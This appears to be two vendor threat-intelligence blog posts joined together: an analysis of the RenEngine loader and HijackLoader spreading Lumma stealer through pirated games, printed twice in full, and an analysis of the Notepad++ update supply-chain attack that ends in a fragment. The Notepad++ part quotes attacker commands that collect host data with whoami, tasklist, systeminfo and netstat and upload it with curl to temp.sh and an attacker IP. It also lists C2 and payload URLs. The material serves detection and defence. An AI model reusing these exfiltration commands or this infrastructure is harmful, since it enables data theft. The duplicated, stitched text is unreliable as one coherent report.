We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”

When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.

“Game” source files analysis

After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.

There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:

1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
   
   

   Writing the payload to a temporary file

2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
   
   

   Payload injection into the child process

   
   Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
   
   

   The rshell module injection

4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

   The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today

We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”

When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.

“Game” source files analysis

After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.

There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:

1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
   
   

   Writing the payload to a temporary file

2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
   
   

   Payload injection into the child process

   
   Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
   
   

   The rshell module injection

4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

   The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today

UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:

• Individuals located in Vietnam, El Salvador, and Australia;
• A government organization located in the Philippines;
• A financial organization located in El Salvador;
• An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1: late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

• Drops the following files to the %appdata%\ProShow directory:
  • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs
  • proshow.phd
  • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
• Executes the dropped ProShow.exe file.

The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

• In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
• The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 since early August 2025.

Chain #2: mid- and late September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

• Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
• Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

• They changed the working directory to %APPDATA%\Adobe\Scripts;
• They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:

• alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
• lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
• script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
• alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

• cmd /c whoami >> a.txt
• cmd /c tasklist >> a.txt
• cmd /c systeminfo >> a.txt
• cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:

• Changed the system information upload URL to https://self-dns.it[.]com/list;
• Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
• Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
• Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.

Chain #3: October 2025

In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

• BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
• log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
• BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
2. The Beacon configurations are encrypted with the XOR key CRAZY;
3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs: October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

• http://95.179.213[.]0/update/install.exe;
• http://95.179.213[.]0/update/update.exe;
• http://95.179.213[.]0/update/AutoUpdater.exe.

We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

• Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
• Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
• Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
• Use the specific IoCs listed below to identify known malicious domains and files.

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Next Endpoint Detection and Response Expert, successfully detect malicious activity in the attacks described above.

Let’s take a closer look at Kaspersky Next EDR Expert.

One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.

In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.

To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.

The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:

1. Indicators of compromise:
   1. malicious URLs used to extract information from the targeted infrastructure;
   2. malicious file names and hashes that were detected in this campaign.
2. Suspicious activity on the host:
   1. unusual command lines specific to these attacks;
   2. suspicious network activity from Notepad++ processes and an abnormal process tree;
   3. traces of data collection, e.g. single-character file names.

Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.

We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.

For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload URLs
http://45.76.155[.]202/list
https://self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.

Introduction

